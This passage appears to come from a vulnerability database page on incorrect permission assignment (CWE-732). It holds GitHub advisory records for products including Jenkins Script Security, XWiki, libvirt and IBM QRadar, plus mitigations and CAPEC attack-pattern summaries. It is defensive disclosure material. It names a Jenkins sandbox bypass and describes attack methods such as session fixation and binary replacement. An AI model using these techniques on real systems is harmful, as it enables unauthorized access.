"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/3.11.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "vm2: NodeVM `builtin: [\u0027*\u0027]` exposes `os` and `dns` \u2014 process-wide observability reads AND writes that hijack the host (sibling class of GHSA-9g8x-92q2-p28f)"
}
GHSA-M643-P8J3-4H5X
Vulnerability from github – Published: 2023-12-14 15:30 – Updated: 2023-12-14 15:30A incorrect permission assignment for critical resource vulnerability in PLCnext products allows an remote attacker with low privileges to gain full access on the affected devices.
{
"affected": [],
"aliases": [
"CVE-2023-46142"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-14T14:15:42Z",
"severity": "HIGH"
},
"details": "A incorrect permission assignment for critical resource vulnerability in PLCnext products allows an remote attacker with low privileges to gain full access on the affected devices.",
"id": "GHSA-m643-p8j3-4h5x",
"modified": "2023-12-14T15:30:22Z",
"published": "2023-12-14T15:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46142"
},
{
"type": "WEB",
"url": "https://https://cert.vde.com/en/advisories/VDE-2023-056"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M68X-CC2F-GR5H
Vulnerability from github – Published: 2022-05-13 01:40 – Updated: 2024-01-30 22:46The default whitelist included the following unsafe entries: DefaultGroovyMethods.putAt(Object, String, Object); DefaultGroovyMethods.getAt(Object, String). These allowed circumventing many of the access restrictions implemented in the script sandbox by using e.g. currentBuild['rawBuild'] rather than currentBuild.rawBuild. Additionally, the following entries allowed accessing private data that would not be accessible otherwise due to script security: groovy.json.JsonOutput.toJson(Closure); groovy.json.JsonOutput.toJson(Object).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.29"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:script-security"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.29.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-1000095"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-30T22:46:07Z",
"nvd_published_at": "2017-10-05T01:29:00Z",
"severity": "MODERATE"
},
"details": "The default whitelist included the following unsafe entries: DefaultGroovyMethods.putAt(Object, String, Object); DefaultGroovyMethods.getAt(Object, String). These allowed circumventing many of the access restrictions implemented in the script sandbox by using e.g. currentBuild[\u0027rawBuild\u0027] rather than currentBuild.rawBuild. Additionally, the following entries allowed accessing private data that would not be accessible otherwise due to script security: groovy.json.JsonOutput.toJson(Closure); groovy.json.JsonOutput.toJson(Object).",
"id": "GHSA-m68x-cc2f-gr5h",
"modified": "2024-01-30T22:46:07Z",
"published": "2022-05-13T01:40:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1000095"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2017-07-10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Unsafe methods in the default list of approved signatures in Jenkins Script Security Plugin"
}
GHSA-M69P-R3H8-6WPR
Vulnerability from github – Published: 2025-10-31 15:30 – Updated: 2025-10-31 15:30Tampering of the registry entries might have led to preventing the ESET security products from starting correctly on the next system startup or to unauthorized changes in the product's configuration.
{
"affected": [],
"aliases": [
"CVE-2025-4952"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-31T13:15:34Z",
"severity": "MODERATE"
},
"details": "Tampering of the registry entries might have led to preventing the ESET security products from starting correctly on the next system startup or to unauthorized changes in the product\u0027s configuration.",
"id": "GHSA-m69p-r3h8-6wpr",
"modified": "2025-10-31T15:30:31Z",
"published": "2025-10-31T15:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4952"
},
{
"type": "WEB",
"url": "https://support.eset.com/en/ca8853-eset-customer-advisory-denial-of-service-vulnerability-in-eset-security-products-for-windows-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M726-P293-2JQ2
Vulnerability from github – Published: 2022-05-13 01:19 – Updated: 2022-05-13 01:19AccuPOS 2017.8 is installed with the insecure "Authenticated Users: Modify" permission for files within the installation path. This may allow local attackers to compromise the integrity of critical resource and executable files.
{
"affected": [],
"aliases": [
"CVE-2018-15809"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-08-23T20:29:00Z",
"severity": "MODERATE"
},
"details": "AccuPOS 2017.8 is installed with the insecure \"Authenticated Users: Modify\" permission for files within the installation path. This may allow local attackers to compromise the integrity of critical resource and executable files.",
"id": "GHSA-m726-p293-2jq2",
"modified": "2022-05-13T01:19:12Z",
"published": "2022-05-13T01:19:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15809"
},
{
"type": "WEB",
"url": "https://versprite.com/advisories/accupos"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M738-3RC4-5XV3
Vulnerability from github – Published: 2021-07-02 19:19 – Updated: 2021-07-02 16:44Impact
The script service method used to reset the authentication failures record can be executed by any user with Script rights and does not require Programming rights as it should have. Note that being able to reset the authentication failure record mean that an attacker with script right might use it to try performing a bruteforce attack since she'd been able to virtually deactivate the mechanism introduced to mitigate those attacks.
Patches
The problem has been patched in version 12.6.8, 12.10.4 and 13.0.
Workarounds
There's no workaround besides upgrading and being careful on which user should have Script right access. Note that any bruteforce attack on the authentication should be visible in the logs since the authentication failures are logged.
References
https://jira.xwiki.org/browse/XWIKI-18276
For more information
If you have any questions or comments about this advisory: * Open an issue in Jira * Email us at the security mailing-list
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-security-authentication-script"
},
"ranges": [
{
"events": [
{
"introduced": "11.6"
},
{
"fixed": "12.6.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-security-authentication-script"
},
"ranges": [
{
"events": [
{
"introduced": "12.7"
},
{
"fixed": "12.10.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-32729"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-693",
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2021-07-02T16:44:24Z",
"nvd_published_at": "2021-07-01T17:15:00Z",
"severity": "LOW"
},
"details": "### Impact\nThe script service method used to reset the authentication failures record can be executed by any user with Script rights and does not require Programming rights as it should have.\nNote that being able to reset the authentication failure record mean that an attacker with script right might use it to try performing a bruteforce attack since she\u0027d been able to virtually deactivate the mechanism introduced to mitigate those attacks.\n\n### Patches\nThe problem has been patched in version 12.6.8, 12.10.4 and 13.0.\n\n### Workarounds\nThere\u0027s no workaround besides upgrading and being careful on which user should have Script right access. Note that any bruteforce attack on the authentication should be visible in the logs since the authentication failures are logged.\n\n### References\nhttps://jira.xwiki.org/browse/XWIKI-18276\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira](http://jira.xwiki.org)\n* Email us at [the security mailing-list](mailto:security@xwiki.org)\n",
"id": "GHSA-m738-3rc4-5xv3",
"modified": "2021-07-02T16:44:24Z",
"published": "2021-07-02T19:19:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-m738-3rc4-5xv3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32729"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-18276"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "A user without PR can reset user authentication failures information"
}
GHSA-M7JX-933M-5CQR
Vulnerability from github – Published: 2026-08-10 18:32 – Updated: 2026-08-10 18:32A flaw was found in libvirt. During storage volume clone or convert operations, newly created volume images were temporarily world-readable. This was caused by the qemu-img utility running with overly permissive file creation settings, allowing any local user to read the full guest disk contents. This vulnerability could lead to sensitive information disclosure from guest virtual machines.
{
"affected": [],
"aliases": [
"CVE-2026-63623"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-10T17:17:35Z",
"severity": "MODERATE"
},
"details": "A flaw was found in libvirt. During storage volume clone or convert operations, newly created volume images were temporarily world-readable. This was caused by the `qemu-img` utility running with overly permissive file creation settings, allowing any local user to read the full guest disk contents. This vulnerability could lead to sensitive information disclosure from guest virtual machines.",
"id": "GHSA-m7jx-933m-5cqr",
"modified": "2026-08-10T18:32:16Z",
"published": "2026-08-10T18:32:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63623"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-63623"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2513066"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M7PR-J4Q9-RW7F
Vulnerability from github – Published: 2025-09-14 15:30 – Updated: 2025-09-14 15:30IBM QRadar SIEM 7.5 through 7.5 Update Pack 13 Independent Fix 01 could allow a local privileged user to perform unauthorized actions on configuration files due to improper permission assignment.
{
"affected": [],
"aliases": [
"CVE-2025-0164"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-14T13:15:31Z",
"severity": "LOW"
},
"details": "IBM QRadar SIEM 7.5 through 7.5 Update Pack 13 Independent Fix 01 could allow a local privileged user to perform unauthorized actions on configuration files due to improper permission assignment.",
"id": "GHSA-m7pr-j4q9-rw7f",
"modified": "2025-09-14T15:30:55Z",
"published": "2025-09-14T15:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0164"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7244784"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user) [REF-62], and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.
Mitigation
Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources. [REF-207]
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.
Mitigation
For all configuration files, executables, and libraries, make sure that they are only readable and writable by the software's administrator.
Mitigation
Do not suggest insecure configuration changes in documentation, especially if those configurations can extend to resources and other programs that are outside the scope of the application.
Mitigation
Do not assume that a system administrator will manually change the configuration to the settings that are recommended in the software's manual.
Mitigation MIT-37
Strategy: Environment Hardening
Ensure that the software runs properly under the United States Government Configuration Baseline (USGCB) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-122: Privilege Abuse
An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels
An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.
CAPEC-206: Signing Malicious Code
The adversary extracts credentials used for code signing from a production environment and then uses these credentials to sign malicious content with the developer's key. Many developers use signing keys to sign code or hashes of code. When users or applications verify the signatures are accurate they are led to believe that the code came from the owner of the signing key and that the code has not been modified since the signature was applied. If the adversary has extracted the signing credentials then they can use those credentials to sign their own code bundles. Users or tools that verify the signatures attached to the code will likely assume the code came from the legitimate developer and install or run the code, effectively allowing the adversary to execute arbitrary code on the victim's computer. This differs from CAPEC-673, because the adversary is performing the code signing.
CAPEC-234: Hijacking a privileged process
An adversary gains control of a process that is assigned elevated privileges in order to execute arbitrary code with those privileges. Some processes are assigned elevated privileges on an operating system, usually through association with a particular user, group, or role. If an attacker can hijack this process, they will be able to assume its level of privilege in order to execute their own code.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-61: Session Fixation
The attacker induces a client to establish a session with the target software using a session identifier provided by the attacker. Once the user successfully authenticates to the target software, the attacker uses the (now privileged) session identifier in their own transactions. This attack leverages the fact that the target software either relies on client-generated session identifiers or maintains the same session identifiers after privilege elevation.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.
CAPEC-642: Replace Binaries
Adversaries know that certain binaries will be regularly executed as part of normal processing. If these binaries are not protected with the appropriate file system permissions, it could be possible to replace them with malware. This malware might be executed at higher system permission levels. A variation of this pattern is to discover self-extracting installation packages that unpack binaries to directories with weak file permissions which it does not clean up appropriately. These binaries can be replaced by malware, which can then be executed.